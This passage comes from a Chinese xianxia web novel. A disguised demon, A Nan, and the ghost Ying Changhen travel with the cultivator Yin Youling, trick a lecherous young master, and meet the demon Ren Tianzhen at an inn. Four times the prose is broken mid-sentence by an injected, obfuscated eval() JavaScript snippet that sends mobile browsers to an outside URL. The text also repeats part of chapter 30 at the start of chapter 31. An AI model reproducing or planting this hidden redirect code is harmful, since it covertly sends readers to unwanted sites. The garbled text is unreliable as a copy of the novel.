如果被她知道应长恨“小姑娘”,就是四大恶煞之一的厉鬼伪装的,肯定要出手对付他不可。 “这我就不知道了。亲眼目睹疫鬼射杀黑虎后,我俩的魂都快吓没了,只想赶紧远离是非之地。结果却被厉无情听见动静过来查看,要不是跑得够快,差一点也死在他的鬼箭之下。反正那一晚我俩真是倒霉透顶,先是黑虎追着我们要灭口,后来疫鬼又追着我们要灭口。虽然侥幸跑掉了,但厉无情见过我俩的模样。所以为了安全起见,我俩只好先假扮女人避祸,这也是没有办法的办法。” 虽然没有听出什么破绽,但阴有苓还是半信半疑。 “这些都只是你的一面之辞,可有证据?” “阴真人,你要是不信的话,就去安宁镇找孙里正求证。当时是他亲自送我和阿难弟弟上山打老虎的,可以证明我所言非虚。” . 阿难招供的过程中,应长恨“小姑娘”站在一旁自始至终一言不发,阴有苓情不自禁地瞥了他一眼。 “你为什么一直不说话?” “该说的他都已经说了,我也没什么可补充的。” 顿了一下后,应长恨“小姑娘”还是有理有据地多说了几句。 “不过有一点我想指出来,黑虎已死,疫鬼藏起尸体,却唯独留下半截被鬼头刀砍断的残肢,分明是想要栽赃陷害,嫁祸他人。” “你的意思是,疫鬼厉无情想把杀死黑虎的罪名推到厉鬼应长恨头上?” 阿难进一步点明道:“没错,阴真人,厉无情把应长恨设计为替罪羊,不但可以转移太玄真君的雷霆怒火,还能顺便铲除一个能够与之竞争鬼王的劲敌。如此一石二鸟的好法子,何乐而不为?” 阴有苓不得不承认,这番话很符合逻辑。 如果真是应长恨用鬼头刀砍死了黑虎,都知道要藏匿尸体了,就绝不会拉下半截残肢,那样只会暴露出自己是凶手。 但如果是厉无情想要陷害应长恨,这一切就很合情合理了。 毕竟鬼头刀是很常见的兵器,他弄上一把砍下黑虎的半截前肢,炮制出厉鬼动手杀虎的假象,一点儿难度都没有。 “虽然你们说的不像是假话,但我还是要先去安宁镇核查一番,再决定是否相信你们。” 阴有苓的话音刚落,阿难就点头笑道:“那是自然,阴真人只管去查,查清楚后就知道我们说的都是实话了。” “你们两个也要跟我一块去,要是查到的真相跟你们说的不一样,就休怪我剑下无情。” “是是是,我俩自然是听从阴真人的吩咐。” “你们两个叫什么名字?” 阿难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13022496|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 半真半假地苦笑道:“他叫阿难,我叫阿难,我俩真是一对名符其实的难兄难弟有没有?” 阴有苓对此不置可否,伸手拍出两道光符没入他们眉心。 “这是傀儡符,只要我发号施令你们就会无条件遵从。所以别想着逃跑,就算已经跑了,我一声令下要你们回来,你们也会身不由己地乖乖回来。” 傀儡符无法完全操控一个人的大脑,只能通过简单的命令让对方遵从,但是也足够让阴有苓用来控制阿难和应长恨了。 . 阴有苓要带上阿难和应长恨一块去安宁镇,一匹快马就不够用了。 “阴真人,要不我去车行雇辆马车上路吧?我和阿难弟弟还得躲着疫鬼呢,坐在马车里更安全。” “行,你去雇车,我们在那边的凉茶铺等你。” 阴有苓把阿难和应长恨分开,不给他们一起逃的机会。 因为傀儡符的有效范围是方圆百里左右,他们要是溜得够快,跑出这一范围就不受她控制了。 阿难走出巷口的时候,有个小男孩开心地举着一只纸风车,从他身旁冲了过去。 那时正好有一辆很气派的马车飞驰而来,他一看情况不妙,眼疾手快地扑倒那个小男孩,再顺势滚到街道一旁。 一看出了事,赶车的车夫本能地一把勒住缰绳,马车里有人却大声咆哮起来。 “为什么停车?本公子还要赶着去万花楼呢!” 万花楼是菰城最有名的销金窟,每天去这个风月场所送钱财的火山孝子大有人在,显然这位公子也是孝子之一。 “公子,差一点撞到人了。” “撞到人有什么大不了的,赔钱不就行了嘛!” 车里的那位公子一边说,一边掀开车帷准备拿钱砸人,露出一张肥头大耳的面孔。 不过当他发现倒在地上的人,除了一个小男孩,还有一位白绫衫子红罗裙的“美娇娘”,脸上原本的骄横就变成了色迷迷的表情。 “唉呀姑娘,真是对不住,我这就下来扶你啊!” 肥头大耳的公子从马车里跳出来时,浑身酒气熏天,脚步还有些虚浮不稳,显然刚灌完不少黄汤。 对于那个受到惊吓后哭哭啼啼的小男孩,他完全视而不见。一双手只顾着把阿难“姑娘”扶起来,还破口大骂起了自家车夫。 “混帐东西,你怎么如此不当心?把这样一位如花似玉的姑娘撞倒在地。还好她没有什么大碍,否则你真是罪不可恕。” 疾声厉色地骂完车夫,他又扭过头,冲着阿难“姑娘”绽出一个油腻得不行的笑容。 “姑娘,你真的无碍吗?要不我送你去医馆检查一下身体吧?诊疗费庞某全权负责。” 阿难“姑娘”已经捡回那只纸风车交到小男孩手里,止住了他的哭声。听了庞公子这番话,他头也不回的谢绝。 “不用了,我没事。” “你刚才摔了一跤,还是去检查一下比较安心。来吧,姑娘,上车吧!” 30.妖生不易 这位庞公子不顾阿难“姑娘”的拒绝,生拉硬拽地把他往车上拖,死胖子分明没安好心。 遇上这种非要自己作死的主儿,阿难也只能满足一下他了。 上车前,他远远地冲巷子里的应长恨看了一眼,他秒懂了他的眼色,就连阴有苓都看懂了。 “那个登徒子看来平时没少轻薄女子,今天遇上阿难,不但要吃上一点苦头,还得搭上一辆马车。” 应长恨“小姑娘”老气横秋地点头道:“雇车的钱可以省了,咱们跟着马车走吧!” 庞公子的马车本来是要去万花楼的,不过阿难“姑娘”上车后,他却给车夫下达了出城的指令。 一匹骏马驮着阴有苓和应长恨,不远不近地跟在后头。 虽然不清楚阿难把庞公子骗出城后打算怎么收拾他,但阴有苓相信他不会下死手。 至于那个轻薄无礼的登徒子,吃点苦头也是他活该自找。 刚才马车冲过来的时候,阿难及时出手救了那个小男孩,是出于本能的第一反应。 阴有苓目睹了这一幕,倒是觉得侧面印证了他之前所说的话。 他虽然是妖,但并无害人之心,还有救人之心。所以安宁镇揭榜打虎一事,应该是八九不离十了。 既然没有害人之心,那么阿难就不会要了庞公子的命,最多只是惩戒一番。 . 上了马车后,阿难就直接对庞公子说: “我真的没事,不用去医馆。要不就麻烦公子送我回家吧,我家住在西城外,出了城还要走上七八里路。” “行,没问题,我保证把姑娘你安全送到家。” 一听说要出城,庞公子满脸求之不得的神色。 城外的路上人流稀少,他在车里想要偷个香窃个玉什么的,就算是姑娘嚷起来也不怕。 出了西城门,就是碧草青青的郊外原野。路上的行人越来越少时,庞公子涎着一张脸开始动手动脚了。 “姑娘,你这双玉手真是白如凝脂一般,要是在下能有福气摸上一把就好了。” 阿难一扭身子避开庞公子的咸猪手,正色道:“公子,我可是好人家的女儿,你怎么能像对待万花楼的烟花女子那般言行轻佻?还请放尊重一点。” “你既然都上了我的车,还装什么三贞九烈?别端着了,就让我摸一摸嘛!” 庞公子一边说,一边又试图去摸阿难“姑娘”的脸,被他灵活地再一次闪身躲开了。 “我上你的车,是因为你再三坚持要送我回家,那时你可没说要在车里对我行非礼之举。” “一个女子独自上了男子的车,会遇上什么事难道心里没数吗?你就别揣着明白装糊涂了。又或许你是不见兔子不撒鹰?好,看见没有,我这荷包里有几个金锞子,你脱一件衣裳,我就给你一个,如何?” “你说话算数?” 一看阿难“姑娘”被金子打动了,庞公子色迷迷地直点头道:“当然算数,你现在就脱的话,我立马就给。” 阿难二话不说开始宽衣解带,白绫衫子红罗裙褪下后,露出一身白缎中衣。 庞公子给出两个金锞子,两只眼睛贼亮地催促道:“别停,继续啊!” 阿难有意慢吞吞地解开交领中衣,半掩半映地露出一抹红绡抹胸,看得庞公子的哈喇子都要流下来了。 “你快点把抹胸也脱了,荷包里的金锞子都给你。” 猴急的庞公子,把整个荷包都拍到阿难“姑娘”面前。他很爽快地收钱办事,三下五除二把自己扒成了赤膊状态。 红绡抹胸脱去的一瞬间,等着欣赏胸前白雪肤的庞公子傻眼了。 这姑娘穿着衣裳的时候,胸脯看起来很不“太平”。怎么衣裳一脱却变得一马平川?不对,这分明是男人的胸膛啊! “你……居然是男的?” “是啊,这里头藏了两团棉花包,所以看起来很有料。” 阿难对庞公子展示自己刚刚脱下的加料抹胸,他气急败坏地吼道:“你这个骗子,胆敢欺骗本公子,看我怎么收拾你。” “谁收拾谁只怕还得两说呢!” . 阴有苓带着应长恨“小姑娘”,两人同骑一匹马,一直远远跟在庞公子的马车后面。 当马车突然停下,风中还传来庞公子的怒吼声时,他们俩都不难明白发生了什么。 “看来姓庞的发现自己上当受骗了。” 对于阴有苓的推测,应长恨不屑地撇着唇角道:“那死胖子才发现不了呢,只能是阿难自己主动暴露。” 个中细节阴有苓并不关心,只是一把勒住马缰静观其变。 前方的马车里已经动上手了,庞公子叫上车夫帮他收拾男扮女装的骗子。 虽然他们两个打一个,却都在一招之内被打落马车,一先一后摔成了滚地葫芦。 已经重新穿好衣裳的阿难跳下马车,走到趴在地上哼哼唧唧的庞公子面前,又是貌似无害的娇软美人一枚。 “喂,姓庞的,风水轮流转,现在轮到你脱衣服了!” “你要我脱衣服干吗?” “有句话叫以其人之道还治其人之身,你懂我的意思吧?” 庞公子懂了,只好苦着一张脸开始脱。按照阿难的要求,脱到浑身上下只剩一条底裤,上至发冠下至鞋袜都没留住。 “车夫,你把他脱下来的东西全部捡起来放回车里,然后赶着马车跟我走。至于庞公子你,就这副尊容自己步行回城吧!” 出城已经有三四里路了,像庞公子这种四体不勤的纨绔子弟,走上这么远回去可是苦差事。 何况阿难还让他把鞋袜都脱了,这一路上就更不好走了。 庞公子叫苦不迭却又无可奈何,只能凄凄惨惨地独自艰难跋涉着上路。 被扣下来赶车的车夫,心惊胆战地一边走一边问:“敢问姑娘——不,大侠,我要负责把马车赶去哪里呀?” “放心,走上几里路后我就让你离开。你家公子被我逼着脱光了衣裳,要是让你留下的话,他肯定会让你把衣服脱给他穿,到时候丢人现眼的人就是你了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13037330|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 车夫悬着的一颗心这下放下了,“原来大侠是在为我着想,多谢大侠。” . 阿难言出必行,赶了二里路后就打发车夫走人。随后一直跟在后头的阴有苓策马扬鞭地追上来,三人正式会合。 马车原本只有一匹拉车的马,阴有苓把自己骑的马也套上车辕,然后她负责赶车,阿难和应长恨负责坐车。 “雇车的钱省了,你一定很开心吧?” “当然,更开心的是我还赚到了钱。” 阿难笑眯眯地对应长恨显摆起了那只装着几块碎金的荷包。 “刚才那个庞公子说,只要我脱一件衣裳,他就给我一小块金子。这可是我有史以来赚得最轻松的一笔钱。” “那可是他有史以来付得最冤大头的一笔钱。” “这可不能怨我,我给过他机会了,是他自己非要作死。” 利用庞公子脱下的衣裳鞋袜,阿难在车厢里开始了从女到男的变装。虽然尺寸大了一点,但凑合着也能穿了。 “你为什么要换回男装?” “阴真人要带我们去安宁镇求证,我要不换回来,孙里正怎么可能认出我呢?” “那到时候再换也来得及吧?” “我要是不换装,怕阴真人看了别扭。换都已经换了,就这样吧!” 应长恨有些不太开心,“那我也要换回来。” “你先不着急,等到了安宁镇再说。现在往浮玉山赶的人一定不少,人多眼杂,不伪装的话很容易被认出来的。” “可是你没有伪装了就不怕被认出来吗?” “我只是不扮女人了,没说不伪装了,接下来我准备在脸上贴一把大胡子,不就判若两人了嘛!” 坐在前面赶车的阴有苓,把车厢里的对话尽收耳中。 天黑前,她赶着马车去一家客栈投宿,看见跳下车的阿难多了一脸胡须,一点也不惊讶,还忍不住夸了两句。 “你这妖怪伪装自己很有一手嘛!既扮得了娇滴滴的女人,也扮得了雄纠纠的大汉。” 阿难浮起一个苦哈哈的笑容,“没办法,妖生不易啊!必须多学一点保命的招数。” 万隆客栈是设在驿道旁一处村口的小客栈,上下两层的木制楼屋,外表已经破旧不堪。 客栈平时生意惨淡,这几天却很是红火。 不少佩剑的修士一拔接一拔路过这里,顺便进店打个尖歇个脚或是住上一夜再走,把老板两口子忙得不可开交。 阿难和应长恨“小姑娘”,一起跟着阴有苓走进客栈。 一楼用来招待客人吃饭的厅堂中,四张桌子已经坐了三桌客人,只剩一张还空着,正好让他们仨落座。 老板娘过来招呼道:“几位客官如果是要住店的话,小店还有最后一间柴房可以打地铺。如果要吃东西的话,酒肉都卖光了,眼下只剩下半锅稀粥。” 阿难一点儿也不是挑剔地就点了头。 “行,柴房就柴房,半锅稀粥也端上来吧。阴真人,我们可以就着粥吃肉粽,阿难……妹妹请客。” 31.任天真 万隆客栈是设在驿道旁一处村口的小客栈。 上下两层的木制楼屋,外表已经破旧不堪。平时生意惨淡,这几天却很是红火。 不少佩剑的修士一拔接一拔路过这里,顺便进店打个尖歇个脚或是住上一夜再走,把老板两口子忙得不可开交。 阿难和应长恨“小姑娘”,一起跟着阴有苓走进客栈。 一楼用来招待客人吃饭的厅堂中,四张桌子已经坐了三桌客人,只剩一张还空着,正好让他们仨落座。 老板娘过来招呼道:“几位客官如果是要住店的话,小店还有最后一间柴房可以打地铺。如果要吃东西的话,酒肉都卖光了,眼下只剩下半锅稀粥。” 阿难一点儿也不挑剔地就点了头。 “行,柴房就柴房,半锅稀粥也端上来吧。阴真人,我们可以就着粥吃肉粽,阿难……妹妹请客。” 应长恨中午坚持要买的那打肉粽派上用场了。他们一边喝粥吃粽子,一边听着另外三桌客人的谈话。 这些客人都是收到梦令的修士,赶往浮玉山都是同一个目的,查清黑虎到底是死是活。 如果黑虎已经死了,寻到尸体者,可以获得提升修为的仙丹一枚; 查出凶手者,可以传授长生真诀一道; 手刃凶手者,可以被太玄真君直接度化飞仙。 度化飞仙,是法力很强、地位很高的大仙官才有的特权。 如果哪位大仙官觉得人间某位修士是很有潜力的可造之材,可以提前将其度化上天当自己的下属,属于主神之下的辅神。 给大仙官打杂的小仙官,大都是这样的来历。 最后一点的吸引力最大,如果能被仙官直接度化飞仙,那可谓是一步登天。所以这一点的难度也最大。 围坐在三张桌子旁的七八位修士,谈话内容就围绕着这一点展开。 “能斩下黑虎半截前肢的鬼头刀,只有一柄风雷怒能做到吧?” “我也是这么想的,除了厉鬼应长恨,无间鬼域其他使用鬼头刀的鬼,应该都没那个胆子和实力对神仙座骑下毒手。” “可是应长恨为什么要砍死黑虎呢?也没听说过他和太玄真君有什么过节啊!” “那就不知道了。不过如果真是厉鬼应长恨下的手,那咱们几个加起来恐怕也不是他的对手。” “连神仙座骑都敢抡刀砍的主儿,可以说是又横又愣又不要命,如果遇上了最好是躲着走,没必要招惹这种疯批了。” “那手刃凶手这一条,我决定放弃了。到了浮玉山主要是寻找黑虎的尸体,这个任务如果能完成的话,好歹也能得到仙丹一枚。” “这个任务确实最简单,但竞争的人也最多。我们打算在这个基础上再试一试查出凶手,如果能确认就是厉鬼应长恨杀了黑虎,就能蒙太玄真君传授长生真诀一道。就算修仙不成,能长命百岁地活在人间,也算是半仙了。” 这番话听得不少人纷纷点头表示认同。 忽闻吱呀一声响,客栈老旧的木门又被推开了,所有人自然而然地朝着门口望去。 天色已晚,站在门外的人只能看见身影,看不见长相。 但是那一道秀骨珊珊的袅娜身影,已经让几位修士都下意识地心想:这一定是位绝色的美人。 . 美人风摆杨柳似的进了屋子,走到烛光明亮处时,在座诸人几乎都露出惊艳的神色。 那是一位穿着芙蓉色罗衣,有着芙蓉花面孔的少女,艳如初日照芙蕖。 这般艳色无双的女子,独自出现在荒郊野外的小客栈,很不寻常。 要知道一个天生丽质却无力自保的弱女子独自夜行,就像小儿持金过闹市,是一件很危险的事。 由此反推的话,这位芙蓉花般艳色夺人目的娇俏少女,必然不是无力自保的弱女子。 阿难跟应长恨对视了一眼,又和阴有苓交换了一下眼神,三个人都对这一点心照不宣。 至于那七八位修士,大都还在因艳而惊。 一位少年子弟不但瞪大了眼睛,连嘴巴都张得老大,惊艳惊得魂都快没了。 一见又有客人来了,老板娘迎上前招呼道:“这位姑娘,你一个人吗?” “是啊,还有空房间吗?我想住店。” “房间已经都住满了,不过天色已晚,这附近也没有别的客栈了,姑娘你一个人出去乱跑不安全。要是你不嫌弃的话,今晚就在堂屋里呆着吧?” “好啊,多谢老板娘,那有地方让我先坐下来休息吗?” “姑娘,你跟我来。” 厅堂里一共四张桌子,其他三桌都是男客,阿难这桌却坐着阴有苓和应长恨“小姑娘”。 四方桌可以坐四个人,还空出了一个位置,老板娘很自然地把人往他们这儿带。 “三位客官,没有空桌子了,这位姑娘跟你们一块坐可以吧?” 阿难笑容可掬地道:“当然没问题,姑娘请坐。” 娇俏少女落座后,笑盈盈地注视着阴有苓道:“这位修士姐姐英气十足,好不飒爽,不知师承何门何派?” “无极宗,阴有苓。” “原来姐姐出身无极宗,难怪这般不同凡响,真不愧是名门子弟。” 无极宗早就没落了,如今在修真界只能勉强算作三流门派,这还是看在华源真君越君朴的面子上。 娇俏少女说的这番话,乍一听像是反讽,但是她的语气神色都十分真诚,显然是发自内心地认定无极宗弟子值得被高看一眼。 阴有苓原本态度淡淡的,听了如此诚挚的话语后,冷淡的眉宇间多了一抹暖意。 其他桌子的修士听了都只觉好笑,有一人还嘴快地讥讽道:“无极宗算哪门子的名门啊?那都是几百年前的老黄历了。” 娇俏少女扭过头,娇波流慧地瞪了他一眼,曼声道: “谁说无极宗不算名门?哪怕是已经没落了,毕竟也还是华源真君的师门。就凭这一点,它在修真界的地位就不容贬低。” 这话倒也没错,无极宗没落归没落,可宗门中到底出过两个霞举飞升的弟子。 一个虽然早就垮台了,另一个却香火日渐鼎盛, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062369|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在云间仙境的地位稳步上升。有着这么一号代表人物,无极宗在修真界也不可能彻底沦为不入流的小宗门。 娇俏少女的话让人无法反驳,明眸皓齿的一张俏脸,虽怒时而若笑,被她瞪视的那名修士也没法跟她生气。 “好吧,算我说错了还不行吗?“ 娇俏少女满意地扭回头,又好奇地问起了阿难。 “这位美髯公哥哥也是无极宗弟子吗?” “在下没有那个福分,只是无门无派的散修一个。路上偶遇阴真人,所以结伴同行。不知姑娘怎么称呼?” “我叫任天真。” “任”作姓氏时发第二声,但是娇俏少女念出自己的名字时,“任”字却是发的第四声。 阿难又问道:“姑娘不姓任是吧?” “对,我没有姓,名字就叫任天真。卷舒开合任天真,这句诗听说过吗?” 阿难懂了,含笑道:“惟有绿荷红菡萏,卷舒开合任天真——原来这就是姑娘芳名的出处啊!” 任天真嫣然一笑,“没错,正是。这位哥哥外表粗豪,没想到骨子里还有几分文士气息呢!” “哪里哪里,过奖过奖。不过就是闲来无事略读过几本诗书罢了。” 夸完了阿难后,任天真又掉转视线看着应长恨“小姑娘”笑道:“好一个粉雕玉琢的小妹妹,长得真是可爱极了!” “可爱极了”的应长恨一点也不喜欢这个评价,但人设不能崩,还得调动演技冲她乖巧一笑。 “谢谢姐姐。” “笑起来更可爱了!这苹果般的小脸蛋让人真想捏上一把。” 应长恨立刻往阿难身边一缩,果断与跃跃欲试的任天真拉开距离。 . 眼看任天真和阿难这一桌人谈笑风生,邻桌一位年轻修士忍不住也想跟她搭讪。 “任天真姑娘也是修真人士吧?不知出身哪个宗门?” “算是吧。不过我并非宗门子弟,和这位美髯公哥哥一样,也是无门无派的散修。” 另一位年轻修士,同样情不自禁地开口与之攀谈起来。 “姑娘只是无门无派的散修吗?如果有意拜入宗门的话,我们万象宗欢迎姑娘加入。” 时下的修真界中,名气最大的修真门派就是岭南一带的万象宗。 过去的三百年里,有一位万象宗弟子飞升成仙,让师门跃居为修真界首宗。门下子弟提及师门时,都是满脸的与有荣焉。 任天真却满不在乎地曼声道:“多谢,我自由自在惯了,不喜拘束管教,还是做散修更合适。” 门外忽然传来一阵疾驰的马蹄声,又有人来了。 隔着一扇薄薄的门板,可以清晰听见有人跳下马匆忙奔向客栈的声音。 很快大门就被推开了,一位年轻男子神色急切地闯进来。 容貌英俊,穿戴考究,一袭蓝色织锦缎长袍华美非凡,一看就是有钱人家的公子哥。 他两道目光在屋里扫视一番后,迅速锁定了任天真。 “真真,你为什么撇下我一个人走了?” 32.戏码 年轻公子三步并作两步冲到任天真面前,一脸惨遭抛弃的幽怨神色,声音凄凄惨惨戚戚。 “因为不喜欢你了。” 任天真理直气壮的回答,听得年轻公子惊慌失措,连连追问道: “为什么?真真,是我哪里做得不好吗?你告诉我,我可以改的——我什么都可以为你改。” “都说了不喜欢你了,除非你能把自己改成别人,否则就算了吧!” “真真,我一片真心对你,你怎能如此狠心弃我而去?” “喜欢的时候就在一起,不喜欢了就一拍两散。我一惯如此的,你别再纠缠了行不行?” 年轻公子扑通一声跪在任天真面前,哀声道:“真真,求求你,求求你不要离开我,没有你我会活不下去的。” “活不下去那就去死好了。” 任天真如此毫不在意的口气,让以死要胁的年轻公子浑身一震。 “你……好狠心、好绝情、好冷酷、好残……” 话还没有说完,就被任天真笑语嫣然地打断了。 “没错,我就是这么一个狠心绝情冷酷残忍的女人。要不要为我去死,你自己看着办吧!” 年轻公子满脸怨恨又伤心的神色,眼圈泛红地控诉道: “真真,没想到你竟是如此负心薄幸之人。罢了,你既无情我便休,从此一刀两断再无瓜葛。” “很好,那你快走吧。” 为情所伤的年轻公子,苍白着一张脸,脚步踉跄着离开了客栈。 . 这个小插曲,让客栈里的人都看呆了。 痴心女子负心汉的戏码见得多了,这一出负心女子痴心汉的戏码,倒是破天荒地头一回见。 “不好意思,让各位见笑了。” 任天真一脸若无其事的神色,阿难半真半假地笑道: “没事,这世道男人甩女人常见,女人甩男人却难得一见,我还要多谢真真姑娘让我开了眼呢!” “好说好说,你如果还想再看,以后有的是机会。” “这么说,这样的戏码在姑娘这儿经常上演了?” “嗯,我只要见到喜欢的男子,就和他在一起消磨一段时间,不喜欢了就分开。总会遇上一些不爽快要纠缠的人。” 任天真一番话说得轻巧,其他几位修士都听得神色一僵。对于时下女子来说,这可不是什么恪守妇道的行为。 在男尊女卑的男权社会中,男子可以妻妾成群,女子却是不行的。除了个别权势滔天的公主可以养面首外,贵族女子也必须循规蹈矩。 任天真才不在意这些贞节观念,也不在乎别人怎么想,自顾自的言笑晏晏。 “这个吕郎还算拎得清,不会太过纠缠。以前我在淮城遇到的一位吴郎,那叫一个死打烂缠,我差一点被他烦死了!合则聚,不合则散,这么简单的道理都不懂,就知道一味的强求。” 阿难好奇地问:“那后来你是怎么摆脱他的?” “他当时也是满口要死要活的,我好说歹说都不管用,后来干脆直接甩出一把菜刀,让他要死就快点死,有种直接往脖子上剁。这番狠话一说出来,他就消停了!从那以后我就明白了,凡是口口声声嚷着要去死的人,都是说出来吓唬人的,别太当一回事。” “难怪姑娘刚才处理得那般快刀斩乱麻,原来已经很有经验了。有没有遇到过死都不肯放手的人呢?” “没有,倒是遇到过想让我死的人。他那句原话是怎么说的来着?对了,‘如果你一定要离开我,那我就杀了你——我萧寅得不到的女人,谁也别想得到’。” “萧寅”这个名字,听得在场所有修士齐齐一怔,万象宗的几位年轻弟子更是神色大变。 阿难直摇头,“这不是强求,而是威胁了。” 应长恨“小姑娘”忍不住问道:“后来呢?” “后来我把他吊起来打了个半死,如今已经成了废人一个。” 任天真一番话说得轻描淡写,那七八位男修士却如临大敌地纷纷拔剑,对她形成一个包围圈。 之前热情邀请她加入万象宗的那名年轻修士,已经换上了一张厉声厉色的面孔。 “妖女,原来是你伤了我们小师叔。” . 萧寅是万象宗宗主的关门弟子,年方弱冠就已经修为不俗,本是年轻一辈中的佼佼者。 然而,今年年初的时候,却传出这位新生代翘楚的年轻修士,因为诛妖身受重伤沦为废人的消息,令无数人为之扼腕叹息。 据说那是一个诡计多端的奸猾妖怪,萧寅与之单打独斗的过程中,一时不慎遭其暗算,最终不敌惨败。 妖怪虽然没有要他的命,却把他打得遍体鳞伤,还出手废了他的灵脉。 当时,不少人都觉得能重创萧寅的妖怪,一定十分凶猛可怕,谁知却是这样一位灼若芙蕖出渌波的娇俏少女。 虽然身处七八柄锋利无比的灵剑包围圈中,任天真俏脸上的神色却不见丝毫慌乱。 “你们这些男人啊!翻脸简直比翻书还快。刚才还客客气气地叫人家姑娘,怎么一眨眼的功夫就成妖女了?真是让人伤心。” 她满脸嗔怪的神色,一张樱桃小嘴丹唇外朗,皓齿内鲜,爱娇地轻嘟一下时,让七八名修士都看得心中一荡。 所有修士中,唯有阴有苓还大马金刀地坐着没动,只是目光锐利地盯着任天真发问。 “你是妖?” “阴姐姐,我是妖,但不是那种害人的妖,我可是一心修仙向道的。” 任天真跟阴有苓说话时,神色是一派发自内心的真挚,给人一种绝无半句虚言的感觉。 “姐姐你信我。不然你可以回想一下,刚才那位吕生脸上,可有半点精元受损的阴晦之气?” 妖怪的修炼方式无非两种,第一种是和修真人士一样走正统的苦修路线;第二种就是旁门左道的采补术。 男妖采阴补阳,女妖采阳补阴都是常有之事,被他们采补过的凡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079290|134224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人脸上会有一层阴晦之气。 “这个真没有,我有留意过。” 阿难插了一句嘴,阴有苓再回想一下,原本锐利的目光便柔和多了。 一位比较年长的中年修士,虽然不是万象宗的人,但很愿意帮着他们说话,定定心神开始反驳起来。 “你说你不害人,那为什么把萧公子害成了废人?” “拜托,他要杀我,我都没打死他,只是废其灵脉罢了,已经够高抬贵手了好吧?” 万象宗的一位修士道:“你是妖,萧寅是降妖伏魔的修士,他要杀你也是职责所在。” “狗屁职责所在。他要真是为了降妖伏魔对我下死手也罢了,可并非如此。我们在一起后他就知道了我的身份,表示自己一点也不介意,还说了一些什么‘愿以金屋贮之’之类的酸话。等到我想离开他了,他就要降妖伏魔了,不过是想要公报私仇罢了。不是吗?” 阿难在一旁闲闲点评了一句。 “这位萧公子看来是顺风顺水惯了,不能接受一个女人居然将他弃若敝屐。于是因爱生恨,生出一种既然得不到就干脆毁掉的心理。” 任天真一脸深以为然的神色,娇笑着附和道:“这位哥哥,你说得太对了,姓萧的可不就是这种心理嘛!” 一位万象宗的弟子对着任天真凶不起来,对着插嘴的阿难却凶神恶煞地大吼。 “你给我闭嘴,少在这儿胡说八道。” 阿难一点也不生气,还从善如流地点头。 “行行行,我闭嘴,你别生气啊!” “这只是你的一面之辞,小师叔可不是这么说的。他说在渭城遇上妖怪害人性命,这才出手想要降妖伏魔为民除害。” 任天真嗤笑了一声。 “他当然没脸说实话了。说自己迷上一个妖女结果被甩了;想要杀了妖女出气结果反过来被收拾了;这么丢人的事他怎么可能说出口嘛?他甚至都不好意思说是被妖女伤了,只说是妖怪,还是什么使手段暗算他才令他不慎落败的奸诈妖怪。这种因为太要脸所以臭不要脸的行为,真是可笑之极。” “说一千道一万,你说的话没有证据,我们没理由相信一个妖女却不相信万象宗宗主的高徒。今日我们既然遇上了你,也一定要收了你这妖怪为民除害不可。” 中年修士大义凛然的一番话说完,就扭头对其他修士建议道:“大家摆剑阵,一起上吧,对付妖怪不用客气。” 诸修士都深以为然地纷纷点头,已经闭了半天嘴的阿难,忍不住又开口了。 “那个,我好心提醒一下诸位,刚才是任天真姑娘自己说出萧寅的名字,你们才知道她是废其灵脉的妖。她都敢亮出自己的身份了,难道还会怕你们这些人吗?显而易见,就算你们一起上也不是她的对手。所以,我强烈建议你们再好好考虑一下,到底要不要跟她动手。” 任天真笑盈盈地瞥了阿难一眼,说得很直白:“美髯公哥哥,你虽是一片好心,但只怕会被人当成驴肝肺呢!” 33.又美又彪 中年修士果然怒气冲冲地瞪着阿难大声训斥起来。 “臭小子,你怎能说出这种长他人志气、灭自己威风的话?无门无派的散修都像你这样软骨头吗?” “大叔,我好心提醒你不听也就算了,怎么还骂人呢?” 阿难一脸超委屈的神色,应长恨“小姑娘”在旁边哼了一声,老气横秋地数落他。 “人家上赶着找打,你偏要多管闲事,活该被骂。” 